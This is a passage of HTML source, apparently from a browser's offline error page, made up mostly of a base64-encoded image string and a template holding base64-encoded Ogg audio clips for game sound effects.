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" jstcache="0">
<template id="audio-resources" jstcache="0">
<audio id="offline-sound-press" src="data:audio/mpeg;base64,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"></audio>
<audio id="offline-sound-hit" src="data:audio/mpeg;base64,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